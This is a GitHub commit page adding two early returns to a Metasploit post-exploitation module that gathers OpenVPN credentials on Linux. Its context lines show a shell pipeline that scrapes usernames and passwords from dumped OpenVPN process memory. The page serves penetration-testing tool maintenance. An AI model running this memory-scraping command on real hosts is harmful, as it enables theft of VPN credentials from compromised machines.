Skip to content

Commit f69e7c0

Browse files
committed
Fix condition
1 parent a48d0b2 commit f69e7c0

File tree

1 file changed

+2
-0
lines changed

1 file changed

+2
-0
lines changed

modules/post/linux/gather/openvpn_credentials.rb

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -62,6 +62,7 @@ def run
6262
vprint_good('Succesfully dump.')
6363
else
6464
print_warning('Could not dump process.')
65+
return
6566
end
6667

6768
strings = cmd_exec("/usr/bin/strings #{tmp_path}*.dump | /bin/grep -B2 KnOQ | /bin/grep -v KnOQ | /usr/bin/column | /usr/bin/awk '{print \"User: \"$1\"\\nPass: \"$2}'")
@@ -71,6 +72,7 @@ def run
7172
vprint_good('Removing temp files successfully.')
7273
else
7374
print_warning('Could not remove dumped files.')
75+
return
7476
end
7577

7678
fail_with(Failure::BadConfig, 'No credentials. You can check if the PID is correct.') if strings.empty?

0 commit comments

Comments
 (0)